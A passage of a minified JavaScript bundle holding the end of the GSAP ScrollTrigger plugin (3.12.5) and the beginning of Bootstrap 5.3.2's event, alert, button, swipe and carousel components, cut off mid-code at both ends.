e.classList[s||qe?"add":"remove"](he.className)})),pe&&!kt&&!e&&pe(Ht),h&&!Q?(kt&&(v&&("complete"===d?n.pause().totalProgress(1):"reset"===d?n.restart(!0).pause():"restart"===d?n.restart(!0):n[d]()),pe&&pe(Ht)),!f&&be||(me&&f&&Ve(Ht,me),Nt[u]&&Ve(Ht,Nt[u]),qe&&(1===x?Ht.kill(!1,1):Nt[u]=0),f||Nt[u=1===x?1:3]&&Ve(Ht,Nt[u])),bt&&!s&&Math.abs(Ht.getVelocity())>(Xe(bt)?bt:2500)&&(Ge(Ht.callbackAnimation),Y?Y.progress(1):Ge(n,"reverse"===d?1:!x,1))):kt&&pe&&!Q&&pe(Ht)}if(R){var L=gt?y/gt.duration()*(gt._caScrollDist||0):y;z(L+(p._isFlipped?1:0)),R(L)}re&&re(-y/gt.duration()*(gt._caScrollDist||0))}},Ht.enable=function(t,n){Ht.enabled||(Ht.enabled=!0,vt(Ot,"resize",Pt),Dt||vt(Ot,"scroll",At),qt&&vt(e,"refreshInit",qt),!1!==t&&(Ht.progress=Zt=0,o=a=Gt=tn()),!1!==n&&Ht.refresh())},Ht.getTween=function(e){return e&&i?i.tween:Y},Ht.setPositions=function(e,t,n,i){if(gt){var r=gt.scrollTrigger,s=gt.duration(),o=r.end-r.start;e=r.start+o*e/s,t=r.start+o*t/s}Ht.refresh(!1,!1,{start:Oe(e,n&&!!Ht._startClamp),end:Oe(t,n&&!!Ht._endClamp)},i),Ht.update()},Ht.adjustPinSpacing=function(e){if(I&&e){var t=I.indexOf(St.d)+1;I[t]=parseFloat(I[t])+e+ct,I[1]=parseFloat(I[1])+e+ct,Kt(I)}},Ht.disable=function(t,n){if(Ht.enabled&&(!1!==t&&Ht.revert(!0,!0),Ht.enabled=Ht.isActive=!1,n||Y&&Y.pause(),ne=0,r&&(r.uncache=1),qt&&yt(e,"refreshInit",qt),ee&&(ee.pause(),i.tween&&i.tween.kill()&&(i.tween=0)),!Dt)){for(var s=Ct.length;s--;)if(Ct[s].scroller===Ot&&Ct[s]!==Ht)return;yt(Ot,"resize",Pt),Dt||yt(Ot,"scroll",At)}},Ht.kill=function(e,i){Ht.disable(e,i),Y&&!i&&Y.kill(),fe&&delete Mt[fe];var s=Ct.indexOf(Ht);s>=0&&Ct.splice(s,1),s===te&&Xt>0&&te--,s=0,Ct.forEach((function(e){return e.scroller===Ht.scroller&&(s=1)})),s||_e||(Ht.scroll.rec=0),n&&(n.scrollTrigger=null,e&&n.revert({kill:!1}),i||n.kill()),u&&[u,d,p,h].forEach((function(e){return e.parentNode&&e.parentNode.removeChild(e)})),Te===Ht&&(Te=0),Ce&&(r&&(r.uncache=1),s=0,Ct.forEach((function(e){return e.pin===Ce&&s++})),s||(r.spacer=0)),t.onKill&&t.onKill(Ht)},Ct.push(Ht),Ht.enable(!1,!1),ae&&ae(Ht),n&&n.add&&!g){var cn=Ht.update;Ht.update=function(){Ht.update=cn,l||c||Ht.refresh()},j.delayedCall(.01,Ht.update),g=.01,l=c=0}else Ht.refresh();Ce&&function(){if(xe!==jt){var e=xe=jt;requestAnimationFrame((function(){return e===jt&&Bt(!0)}))}}()}else this.update=this.refresh=this.kill=Ie},e.register=function(t){return H||(j=t||Re(),Ne()&&window.document&&e.enable(),H=ke),H},e.defaults=function(e){if(e)for(var t in e)_t[t]=e[t];return _t},e.disable=function(e,t){ke=0,Ct.forEach((function(n){return n[t?"kill":"disable"](e)})),yt(q,"wheel",At),yt(B,"scroll",At),clearInterval(K),yt(B,"touchcancel",Ie),yt(X,"touchstart",Ie),gt(yt,B,"pointerdown,touchstart,mousedown",Le),gt(yt,B,"pointerup,touchend,mouseup",De),G.kill(),qe(yt);for(var n=0;n<y.length;n+=3)bt(yt,y[n],y[n+1]),bt(yt,y[n],y[n+2])},e.enable=function(){if(q=window,B=document,W=B.documentElement,X=B.body,j&&(V=j.utils.toArray,U=j.utils.clamp,he=j.core.context||Ie,oe=j.core.suppressOverwrites||Ie,fe=q.history.scrollRestoration||"auto",Wt=q.pageYOffset,j.core.globals("ScrollTrigger",e),X)){ke=1,(me=document.createElement("div")).style.height="100vh",me.style.position="absolute",Ht(),Pe(),F.register(j),e.isTouch=F.isTouch,pe=F.isTouch&&/(iPad|iPhone|iPod|Mac)/g.test(navigator.userAgent),ce=1===F.isTouch,vt(q,"wheel",At),Y=[q,B,W,X],j.matchMedia?(e.matchMedia=function(e){var t,n=j.matchMedia();for(t in e)n.add(t,e[t]);return n},j.addEventListener("matchMediaInit",(function(){return $t()})),j.addEventListener("matchMediaRevert",(function(){return Rt()})),j.addEventListener("matchMedia",(function(){Bt(0,1),zt("matchMedia")})),j.matchMedia("(orientation: portrait)",(function(){return Ot(),Ot}))):console.warn("Requires GSAP 3.11.0 or later"),Ot(),vt(B,"scroll",At);var t,n,i=X.style,r=i.borderTopStyle,s=j.core.Animation.prototype;for(s.revert||Object.defineProperty(s,"revert",{value:function(){return this.time(-.01,!0)}}),i.borderTopStyle="solid",t=pt(X),P.m=Math.round(t.top+P.sc())||0,O.m=Math.round(t.left+O.sc())||0,r?i.borderTopStyle=r:i.removeProperty("border-top-style"),K=setInterval(kt,250),j.delayedCall(.5,(function(){return Ee=0})),vt(B,"touchcancel",Ie),vt(X,"touchstart",Ie),gt(vt,B,"pointerdown,touchstart,mousedown",Le),gt(vt,B,"pointerup,touchend,mouseup",De),ee=j.utils.checkPrefix("transform"),Vt.push(ee),H=Se(),G=j.delayedCall(.2,Bt).pause(),re=[B,"visibilitychange",function(){var e=q.innerWidth,t=q.innerHeight;B.hidden?(ne=e,ie=t):ne===e&&ie===t||Pt()},B,"DOMContentLoaded",Bt,q,"load",Bt,q,"resize",Pt],qe(vt),Ct.forEach((function(e){return e.enable(0,1)})),n=0;n<y.length;n+=3)bt(yt,y[n],y[n+1]),bt(yt,y[n],y[n+2])}},e.config=function(t){"limitCallbacks"in t&&(be=!!t.limitCallbacks);var n=t.syncInterval;n&&clearInterval(K)||(K=n)&&setInterval(kt,n),"ignoreMobileResize"in t&&(ce=1===e.isTouch&&t.ignoreMobileResize),"autoRefreshEvents"in t&&(qe(yt)||qe(vt,t.autoRefreshEvents||"none"),ae=-1===(t.autoRefreshEvents+"").indexOf("resize"))},e.scrollerProxy=function(e,t){var n=L(e),i=y.indexOf(n),r=$e(n);~i&&y.splice(i,r?6:2),t&&(r?b.unshift(q,t,X,t,W,t):b.unshift(n,t))},e.clearMatchMedia=function(e){Ct.forEach((function(t){return t._ctx&&t._ctx.query===e&&t._ctx.kill(!0,!0)}))},e.isInViewport=function(e,t,n){var i=(Be(e)?L(e):e).getBoundingClientRect(),r=i[n?Je:et]*t||0;return n?i.right-r>0&&i.left+r<q.innerWidth:i.bottom-r>0&&i.top+r<q.innerHeight},e.positionInViewport=function(e,t,n){Be(e)&&(e=L(e));var i=e.getBoundingClientRect(),r=i[n?Je:et],s=null==t?r/2:t in xt?xt[t]*r:~t.indexOf("%")?parseFloat(t)*r/100:parseFloat(t)||0;return n?(i.left+s)/q.innerWidth:(i.top+s)/q.innerHeight},e.killAll=function(e){if(Ct.slice(0).forEach((function(e){return"ScrollSmoother"!==e.vars.id&&e.kill()})),!0!==e){var t=Lt.killAll||[];Lt={},t.forEach((function(e){return e()}))}},e}();an.version="3.12.5",an.saveStyles=function(e){return e?V(e).forEach((function(e){if(e&&e.style){var t=Nt.indexOf(e);t>=0&&Nt.splice(t,5),Nt.push(e,e.style.cssText,e.getBBox&&e.getAttribute("transform"),j.core.getCache(e),he())}})):Nt},an.revert=function(e,t){return $t(!e,t)},an.create=function(e,t){return new an(e,t)},an.refresh=function(e){return e?Pt():(H||an.register())&&Bt(!0)},an.update=function(e){return++y.cache&&Yt(!0===e?2:0)},an.clearScrollMemory=Ft,an.maxScroll=function(e,t){return He(e,t?O:P)},an.getScrollFunc=function(e,t){return D(L(e),t?O:P)},an.getById=function(e){return Mt[e]},an.getAll=function(){return Ct.filter((function(e){return"ScrollSmoother"!==e.vars.id}))},an.isScrolling=function(){return!!Me},an.snapDirectional=mt,an.addEventListener=function(e,t){var n=Lt[e]||(Lt[e]=[]);~n.indexOf(t)||n.push(t)},an.removeEventListener=function(e,t){var n=Lt[e],i=n&&n.indexOf(t);i>=0&&n.splice(i,1)},an.batch=function(e,t){var n,i=[],r={},s=t.interval||.016,o=t.batchMax||1e9,a=function(e,t){var n=[],i=[],r=j.delayedCall(s,(function(){t(n,i),n=[],i=[]})).pause();return function(e){n.length||r.restart(!0),n.push(e.trigger),i.push(e),o<=n.length&&r.progress(1)}};for(n in t)r[n]="on"===n.substr(0,2)&&We(t[n])&&"onRefreshInit"!==n?a(0,t[n]):t[n];return We(o)&&(o=o(),vt(an,"refresh",(function(){return o=t.batchMax()}))),V(e).forEach((function(e){var t={};for(n in r)t[n]=r[n];t.trigger=e,i.push(an.create(t))})),i};var ln,cn=function(e,t,n,i){return t>i?e(i):t<0&&e(0),n>i?(i-t)/(n-t):n<0?t/(t-n):1},un=function e(t,n){!0===n?t.style.removeProperty("touch-action"):t.style.touchAction=!0===n?"auto":n?"pan-"+n+(F.isTouch?" pinch-zoom":""):"none",t===W&&e(X,n)},dn={auto:1,scroll:1},pn=function(e){var t,n=e.event,i=e.target,r=e.axis,s=(n.changedTouches?n.changedTouches[0]:n).target,o=s._gsap||j.core.getCache(s),a=Se();if(!o._isScrollT||a-o._isScrollT>2e3){for(;s&&s!==X&&(s.scrollHeight<=s.clientHeight&&s.scrollWidth<=s.clientWidth||!dn[(t=ut(s)).overflowY]&&!dn[t.overflowX]);)s=s.parentNode;o._isScroll=s&&s!==i&&!$e(s)&&(dn[(t=ut(s)).overflowY]||dn[t.overflowX]),o._isScrollT=a}(o._isScroll||"x"===r)&&(n.stopPropagation(),n._gsapAllow=!0)},hn=function(e,t,n,i){return F.create({target:e,capture:!0,debounce:!1,lockAxis:!0,type:t,onWheel:i=i&&pn,onPress:i,onDrag:i,onScroll:i,onEnable:function(){return n&&vt(B,F.eventTypes[0],mn,!1,!0)},onDisable:function(){return yt(B,F.eventTypes[0],mn,!0)}})},fn=/(input|label|select|textarea)/i,mn=function(e){var t=fn.test(e.target.tagName);(t||ln)&&(e._gsapAllow=!0,ln=t)};an.sort=function(e){return Ct.sort(e||function(e,t){return-1e6*(e.vars.refreshPriority||0)+e.start-(t.start+-1e6*(t.vars.refreshPriority||0))})},an.observe=function(e){return new F(e)},an.normalizeScroll=function(e){if(void 0===e)return le;if(!0===e&&le)return le.enable();if(!1===e)return le&&le.kill(),void(le=e);var t=e instanceof F?e:function(e){Ye(e)||(e={}),e.preventDefault=e.isNormalizer=e.allowClicks=!0,e.type||(e.type="wheel,touch"),e.debounce=!!e.debounce,e.id=e.id||"normalizer";var t,n,i,r,s,o,a,l,c=e,u=c.normalizeScrollX,d=c.momentum,p=c.allowNestedScroll,h=c.onRelease,f=L(e.target)||W,m=j.core.globals().ScrollSmoother,g=m&&m.get(),v=pe&&(e.content&&L(e.content)||g&&!1!==e.content&&!g.smooth()&&g.content()),b=D(f,P),w=D(f,O),_=1,x=(F.isTouch&&q.visualViewport?q.visualViewport.scale*q.visualViewport.width:q.outerWidth)/q.innerWidth,T=0,E=We(d)?function(){return d(t)}:function(){return d||2.8},S=hn(f,e.type,!0,p),C=function(){return r=!1},M=Ie,k=Ie,A=function(){n=He(f,P),k=U(pe?1:0,n),u&&(M=U(0,He(f,O))),i=jt},I=function(){v._gsap.y=ze(parseFloat(v._gsap.y)+b.offset)+"px",v.style.transform="matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, "+parseFloat(v._gsap.y)+", 0, 1)",b.offset=b.cacheID=0},z=function(){A(),s.isActive()&&s.vars.scrollY>n&&(b()>n?s.progress(1)&&b(n):s.resetTo("scrollY",n))};return v&&j.set(v,{y:"+=0"}),e.ignoreCheck=function(e){return pe&&"touchmove"===e.type&&function(){if(r){requestAnimationFrame(C);var e=ze(t.deltaY/2),n=k(b.v-e);if(v&&n!==b.v+b.offset){b.offset=n-b.v;var i=ze((parseFloat(v&&v._gsap.y)||0)-b.offset);v.style.transform="matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, "+i+", 0, 1)",v._gsap.y=i+"px",b.cacheID=y.cache,Yt()}return!0}b.offset&&I(),r=!0}()||_>1.05&&"touchstart"!==e.type||t.isGesturing||e.touches&&e.touches.length>1},e.onPress=function(){r=!1;var e=_;_=ze((q.visualViewport&&q.visualViewport.scale||1)/x),s.pause(),e!==_&&un(f,_>1.01||!u&&"x"),o=w(),a=b(),A(),i=jt},e.onRelease=e.onGestureStart=function(e,t){if(b.offset&&I(),t){y.cache++;var i,r,o=E();u&&(r=(i=w())+.05*o*-e.velocityX/.227,o*=cn(w,i,r,He(f,O)),s.vars.scrollX=M(r)),r=(i=b())+.05*o*-e.velocityY/.227,o*=cn(b,i,r,He(f,P)),s.vars.scrollY=k(r),s.invalidate().duration(o).play(.01),(pe&&s.vars.scrollY>=n||i>=n-1)&&j.to({},{onUpdate:z,duration:o})}else l.restart(!0);h&&h(e)},e.onWheel=function(){s._ts&&s.pause(),Se()-T>1e3&&(i=0,T=Se())},e.onChange=function(e,t,n,r,s){if(jt!==i&&A(),t&&u&&w(M(r[2]===t?o+(e.startX-e.x):w()+t-r[1])),n){b.offset&&I();var l=s[2]===n,c=l?a+e.startY-e.y:b()+n-s[1],d=k(c);l&&c!==d&&(a+=d-c),b(d)}(n||t)&&Yt()},e.onEnable=function(){un(f,!u&&"x"),an.addEventListener("refresh",z),vt(q,"resize",z),b.smooth&&(b.target.style.scrollBehavior="auto",b.smooth=w.smooth=!1),S.enable()},e.onDisable=function(){un(f,!0),yt(q,"resize",z),an.removeEventListener("refresh",z),S.kill()},e.lockAxis=!1!==e.lockAxis,(t=new F(e)).iOS=pe,pe&&!b()&&b(1),pe&&j.ticker.add(Ie),l=t._dc,s=j.to(t,{ease:"power4",paused:!0,inherit:!1,scrollX:u?"+=0.1":"+=0",scrollY:"+=0.1",modifiers:{scrollY:rn(b,b(),(function(){return s.pause()}))},onUpdate:Yt,onComplete:l.vars.onComplete}),t}(e);return le&&le.target===t.target&&le.kill(),$e(t.target)&&(le=t),t},an.core={_getVelocityProp:I,_inputObserver:hn,_scrollers:y,_proxies:b,bridge:{ss:function(){Me||zt("scrollStart"),Me=Se()},ref:function(){return Q}}},Re()&&j.registerPlugin(an),e.ScrollTrigger=an,e.default=an,"undefined"==typeof window||window!==e?Object.defineProperty(e,"__esModule",{value:!0}):delete window.default})),function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).bootstrap=t()}(this,(function(){"use strict";const e=new Map,t={set(t,n,i){e.has(t)||e.set(t,new Map);const r=e.get(t);r.has(n)||0===r.size?r.set(n,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(r.keys())[0]}.`)},get:(t,n)=>e.has(t)&&e.get(t).get(n)||null,remove(t,n){if(!e.has(t))return;const i=e.get(t);i.delete(n),0===i.size&&e.delete(t)}},n="transitionend",i=e=>(e&&window.CSS&&window.CSS.escape&&(e=e.replace(/#([^\s"#']+)/g,((e,t)=>`#${CSS.escape(t)}`))),e),r=e=>{e.dispatchEvent(new Event(n))},s=e=>!(!e||"object"!=typeof e)&&(void 0!==e.jquery&&(e=e[0]),void 0!==e.nodeType),o=e=>s(e)?e.jquery?e[0]:e:"string"==typeof e&&e.length>0?document.querySelector(i(e)):null,a=e=>{if(!s(e)||0===e.getClientRects().length)return!1;const t="visible"===getComputedStyle(e).getPropertyValue("visibility"),n=e.closest("details:not([open])");if(!n)return t;if(n!==e){const t=e.closest("summary");if(t&&t.parentNode!==n)return!1;if(null===t)return!1}return t},l=e=>!e||e.nodeType!==Node.ELEMENT_NODE||!!e.classList.contains("disabled")||(void 0!==e.disabled?e.disabled:e.hasAttribute("disabled")&&"false"!==e.getAttribute("disabled")),c=e=>{if(!document.documentElement.attachShadow)return null;if("function"==typeof e.getRootNode){const t=e.getRootNode();return t instanceof ShadowRoot?t:null}return e instanceof ShadowRoot?e:e.parentNode?c(e.parentNode):null},u=()=>{},d=e=>{e.offsetHeight},p=()=>window.jQuery&&!document.body.hasAttribute("data-bs-no-jquery")?window.jQuery:null,h=[],f=()=>"rtl"===document.documentElement.dir,m=e=>{var t;t=()=>{const t=p();if(t){const n=e.NAME,i=t.fn[n];t.fn[n]=e.jQueryInterface,t.fn[n].Constructor=e,t.fn[n].noConflict=()=>(t.fn[n]=i,e.jQueryInterface)}},"loading"===document.readyState?(h.length||document.addEventListener("DOMContentLoaded",(()=>{for(const e of h)e()})),h.push(t)):t()},g=(e,t=[],n=e)=>"function"==typeof e?e(...t):n,v=(e,t,i=!0)=>{if(!i)return void g(e);const s=(e=>{if(!e)return 0;let{transitionDuration:t,transitionDelay:n}=window.getComputedStyle(e);const i=Number.parseFloat(t),r=Number.parseFloat(n);return i||r?(t=t.split(",")[0],n=n.split(",")[0],1e3*(Number.parseFloat(t)+Number.parseFloat(n))):0})(t)+5;let o=!1;const a=({target:i})=>{i===t&&(o=!0,t.removeEventListener(n,a),g(e))};t.addEventListener(n,a),setTimeout((()=>{o||r(t)}),s)},y=(e,t,n,i)=>{const r=e.length;let s=e.indexOf(t);return-1===s?!n&&i?e[r-1]:e[0]:(s+=n?1:-1,i&&(s=(s+r)%r),e[Math.max(0,Math.min(s,r-1))])},b=/[^.]*(?=\..*)\.|.*/,w=/\..*/,_=/::\d+$/,x={};let T=1;const E={mouseenter:"mouseover",mouseleave:"mouseout"},S=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function C(e,t){return t&&`${t}::${T++}`||e.uidEvent||T++}function M(e){const t=C(e);return e.uidEvent=t,x[t]=x[t]||{},x[t]}function k(e,t,n=null){return Object.values(e).find((e=>e.callable===t&&e.delegationSelector===n))}function A(e,t,n){const i="string"==typeof t,r=i?n:t||n;let s=D(e);return S.has(s)||(s=e),[i,r,s]}function O(e,t,n,i,r){if("string"!=typeof t||!e)return;let[s,o,a]=A(t,n,i);if(t in E){const e=e=>function(t){if(!t.relatedTarget||t.relatedTarget!==t.delegateTarget&&!t.delegateTarget.contains(t.relatedTarget))return e.call(this,t)};o=e(o)}const l=M(e),c=l[a]||(l[a]={}),u=k(c,o,s?n:null);if(u)return void(u.oneOff=u.oneOff&&r);const d=C(o,t.replace(b,"")),p=s?function(e,t,n){return function i(r){const s=e.querySelectorAll(t);for(let{target:o}=r;o&&o!==this;o=o.parentNode)for(const a of s)if(a===o)return z(r,{delegateTarget:o}),i.oneOff&&I.off(e,r.type,t,n),n.apply(o,[r])}}(e,n,o):function(e,t){return function n(i){return z(i,{delegateTarget:e}),n.oneOff&&I.off(e,i.type,t),t.apply(e,[i])}}(e,o);p.delegationSelector=s?n:null,p.callable=o,p.oneOff=r,p.uidEvent=d,c[d]=p,e.addEventListener(a,p,s)}function P(e,t,n,i,r){const s=k(t[n],i,r);s&&(e.removeEventListener(n,s,Boolean(r)),delete t[n][s.uidEvent])}function L(e,t,n,i){const r=t[n]||{};for(const[s,o]of Object.entries(r))s.includes(i)&&P(e,t,n,o.callable,o.delegationSelector)}function D(e){return e=e.replace(w,""),E[e]||e}const I={on(e,t,n,i){O(e,t,n,i,!1)},one(e,t,n,i){O(e,t,n,i,!0)},off(e,t,n,i){if("string"!=typeof t||!e)return;const[r,s,o]=A(t,n,i),a=o!==t,l=M(e),c=l[o]||{},u=t.startsWith(".");if(void 0===s){if(u)for(const n of Object.keys(l))L(e,l,n,t.slice(1));for(const[n,i]of Object.entries(c)){const r=n.replace(_,"");a&&!t.includes(r)||P(e,l,o,i.callable,i.delegationSelector)}}else{if(!Object.keys(c).length)return;P(e,l,o,s,r?n:null)}},trigger(e,t,n){if("string"!=typeof t||!e)return null;const i=p();let r=null,s=!0,o=!0,a=!1;t!==D(t)&&i&&(r=i.Event(t,n),i(e).trigger(r),s=!r.isPropagationStopped(),o=!r.isImmediatePropagationStopped(),a=r.isDefaultPrevented());const l=z(new Event(t,{bubbles:s,cancelable:!0}),n);return a&&l.preventDefault(),o&&e.dispatchEvent(l),l.defaultPrevented&&r&&r.preventDefault(),l}};function z(e,t={}){for(const[n,i]of Object.entries(t))try{e[n]=i}catch(t){Object.defineProperty(e,n,{configurable:!0,get:()=>i})}return e}function N(e){if("true"===e)return!0;if("false"===e)return!1;if(e===Number(e).toString())return Number(e);if(""===e||"null"===e)return null;if("string"!=typeof e)return e;try{return JSON.parse(decodeURIComponent(e))}catch(t){return e}}function R(e){return e.replace(/[A-Z]/g,(e=>`-${e.toLowerCase()}`))}const $={setDataAttribute(e,t,n){e.setAttribute(`data-bs-${R(t)}`,n)},removeDataAttribute(e,t){e.removeAttribute(`data-bs-${R(t)}`)},getDataAttributes(e){if(!e)return{};const t={},n=Object.keys(e.dataset).filter((e=>e.startsWith("bs")&&!e.startsWith("bsConfig")));for(const i of n){let n=i.replace(/^bs/,"");n=n.charAt(0).toLowerCase()+n.slice(1,n.length),t[n]=N(e.dataset[i])}return t},getDataAttribute:(e,t)=>N(e.getAttribute(`data-bs-${R(t)}`))};class F{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}_getConfig(e){return e=this._mergeConfigObj(e),e=this._configAfterMerge(e),this._typeCheckConfig(e),e}_configAfterMerge(e){return e}_mergeConfigObj(e,t){const n=s(t)?$.getDataAttribute(t,"config"):{};return{...this.constructor.Default,..."object"==typeof n?n:{},...s(t)?$.getDataAttributes(t):{},..."object"==typeof e?e:{}}}_typeCheckConfig(e,t=this.constructor.DefaultType){for(const[i,r]of Object.entries(t)){const t=e[i],o=s(t)?"element":null==(n=t)?`${n}`:Object.prototype.toString.call(n).match(/\s([a-z]+)/i)[1].toLowerCase();if(!new RegExp(r).test(o))throw new TypeError(`${this.constructor.NAME.toUpperCase()}: Option "${i}" provided type "${o}" but expected type "${r}".`)}var n}}class j extends F{constructor(e,n){super(),(e=o(e))&&(this._element=e,this._config=this._getConfig(n),t.set(this._element,this.constructor.DATA_KEY,this))}dispose(){t.remove(this._element,this.constructor.DATA_KEY),I.off(this._element,this.constructor.EVENT_KEY);for(const e of Object.getOwnPropertyNames(this))this[e]=null}_queueCallback(e,t,n=!0){v(e,t,n)}_getConfig(e){return e=this._mergeConfigObj(e,this._element),e=this._configAfterMerge(e),this._typeCheckConfig(e),e}static getInstance(e){return t.get(o(e),this.DATA_KEY)}static getOrCreateInstance(e,t={}){return this.getInstance(e)||new this(e,"object"==typeof t?t:null)}static get VERSION(){return"5.3.2"}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}static eventName(e){return`${e}${this.EVENT_KEY}`}}const H=e=>{let t=e.getAttribute("data-bs-target");if(!t||"#"===t){let n=e.getAttribute("href");if(!n||!n.includes("#")&&!n.startsWith("."))return null;n.includes("#")&&!n.startsWith("#")&&(n=`#${n.split("#")[1]}`),t=n&&"#"!==n?i(n.trim()):null}return t},q={find:(e,t=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(t,e)),findOne:(e,t=document.documentElement)=>Element.prototype.querySelector.call(t,e),children:(e,t)=>[].concat(...e.children).filter((e=>e.matches(t))),parents(e,t){const n=[];let i=e.parentNode.closest(t);for(;i;)n.push(i),i=i.parentNode.closest(t);return n},prev(e,t){let n=e.previousElementSibling;for(;n;){if(n.matches(t))return[n];n=n.previousElementSibling}return[]},next(e,t){let n=e.nextElementSibling;for(;n;){if(n.matches(t))return[n];n=n.nextElementSibling}return[]},focusableChildren(e){const t=["a","button","input","textarea","select","details","[tabindex]",'[contenteditable="true"]'].map((e=>`${e}:not([tabindex^="-"])`)).join(",");return this.find(t,e).filter((e=>!l(e)&&a(e)))},getSelectorFromElement(e){const t=H(e);return t&&q.findOne(t)?t:null},getElementFromSelector(e){const t=H(e);return t?q.findOne(t):null},getMultipleElementsFromSelector(e){const t=H(e);return t?q.find(t):[]}},B=(e,t="hide")=>{const n=`click.dismiss${e.EVENT_KEY}`,i=e.NAME;I.on(document,n,`[data-bs-dismiss="${i}"]`,(function(n){if(["A","AREA"].includes(this.tagName)&&n.preventDefault(),l(this))return;const r=q.getElementFromSelector(this)||this.closest(`.${i}`);e.getOrCreateInstance(r)[t]()}))},W=".bs.alert",X=`close${W}`,Y=`closed${W}`;class G extends j{static get NAME(){return"alert"}close(){if(I.trigger(this._element,X).defaultPrevented)return;this._element.classList.remove("show");const e=this._element.classList.contains("fade");this._queueCallback((()=>this._destroyElement()),this._element,e)}_destroyElement(){this._element.remove(),I.trigger(this._element,Y),this.dispose()}static jQueryInterface(e){return this.each((function(){const t=G.getOrCreateInstance(this);if("string"==typeof e){if(void 0===t[e]||e.startsWith("_")||"constructor"===e)throw new TypeError(`No method named "${e}"`);t[e](this)}}))}}B(G,"close"),m(G);const V='[data-bs-toggle="button"]';class U extends j{static get NAME(){return"button"}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(e){return this.each((function(){const t=U.getOrCreateInstance(this);"toggle"===e&&t[e]()}))}}I.on(document,"click.bs.button.data-api",V,(e=>{e.preventDefault();const t=e.target.closest(V);U.getOrCreateInstance(t).toggle()})),m(U);const Z=".bs.swipe",K=`touchstart${Z}`,Q=`touchmove${Z}`,J=`touchend${Z}`,ee=`pointerdown${Z}`,te=`pointerup${Z}`,ne={endCallback:null,leftCallback:null,rightCallback:null},ie={endCallback:"(function|null)",leftCallback:"(function|null)",rightCallback:"(function|null)"};class re extends F{constructor(e,t){super(),this._element=e,e&&re.isSupported()&&(this._config=this._getConfig(t),this._deltaX=0,this._supportPointerEvents=Boolean(window.PointerEvent),this._initEvents())}static get Default(){return ne}static get DefaultType(){return ie}static get NAME(){return"swipe"}dispose(){I.off(this._element,Z)}_start(e){this._supportPointerEvents?this._eventIsPointerPenTouch(e)&&(this._deltaX=e.clientX):this._deltaX=e.touches[0].clientX}_end(e){this._eventIsPointerPenTouch(e)&&(this._deltaX=e.clientX-this._deltaX),this._handleSwipe(),g(this._config.endCallback)}_move(e){this._deltaX=e.touches&&e.touches.length>1?0:e.touches[0].clientX-this._deltaX}_handleSwipe(){const e=Math.abs(this._deltaX);if(e<=40)return;const t=e/this._deltaX;this._deltaX=0,t&&g(t>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(I.on(this._element,ee,(e=>this._start(e))),I.on(this._element,te,(e=>this._end(e))),this._element.classList.add("pointer-event")):(I.on(this._element,K,(e=>this._start(e))),I.on(this._element,Q,(e=>this._move(e))),I.on(this._element,J,(e=>this._end(e))))}_eventIsPointerPenTouch(e){return this._supportPointerEvents&&("pen"===e.pointerType||"touch"===e.pointerType)}static isSupported(){return"ontouchstart"in document.documentElement||navigator.maxTouchPoints>0}}const se=".bs.carousel",oe=".data-api",ae="next",le="prev",ce="left",ue="right",de=`slide${se}`,pe=`slid${se}`,he=`keydown${se}`,fe=`mouseenter${se}`,me=`mouseleave${se}`,ge=`dragstart${se}`,ve=`load${se}${oe}`,ye=`click${se}${oe}`,be="carousel",we="active",_e=".active",xe=".carousel-item",Te=_e+xe,Ee={ArrowLeft:ue,ArrowRight:ce},Se={interval:5e3,keyboard:!0,pause:"hover",ride:!1,touch:!0,wrap:!0},Ce={interval:"(number|boolean)",keyboard:"boolean",pause:"(string|boolean)",ride:"(boolean|string)",touch:"boolean",wrap:"boolean"};class Me extends j{constructor(e,t){super(e,t),this._interval=null,this._activeElement=null,this._isSliding=!1,this.touchTimeout=null,this._swipeHelper=null,this._indicatorsElement=q.findOne(".carousel-indicators",this._element),this._addEventListeners(),this._config.ride===be&&this.cycle()}static get Default(){return Se}static get DefaultType(){return Ce}static get NAME(){return"carousel"}next(){this._slide(ae)}nextWhenVisible(){!document.hidden&&a(this._element)&&this.next()}prev(){this._slide(le)}pause(){this._isSliding&&r(this._element),this._clearInterval()}cycle(){this._clearInterval(),this._updateInterval(),this._interval=setInterval((()=>this.nextWhenVisible()),this._config.interval)}_maybeEnableCycle(){this._config.ride&&(this._isSliding?I.one(this._element,pe,(()=>this.cycle())):this.cycle())}to(e){const t=this._getItems();if(e>t.length-1||e<0)return;if(this._isSliding)return void I.one(this._element,pe,(()=>this.to(e)));const n=this._getItemIndex(this._getActive());if(n===e)return;const i=e>n?ae:le;this._slide(i,t[e])}dispose(){this._swipeHelper&&this._swipeHelper.dispose(),super.dispose()}_configAfterMerge(e){return e.defaultInterval=e.interval,e}_addEventListeners(){this._config.keyboard&&I.on(this._element,he,(e=>this._keydown(e))),"hover"===this._config.pause&&(I.on(this._element,fe,(()=>this.pause())),I.on(this._element,me,(()=>this._maybeEnableCycle()))),this._config.touch&&re.isSupported()&&this._addTouchEventListeners()}_addTouchEventListeners(){for(const e of q.find(".carousel-item img",this._element))I.on(e,ge,(e=>e.preventDefault()));const e={leftCallback:()=>this._slide(this._directionToOrder(ce)),rightCallback:()=>this._slide(this._directionToOrder(ue)),endCallback:()=>{"hover"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout((()=>this._maybeEnableCycle()),500+this._config.interval))}};this._swipeHelper=new 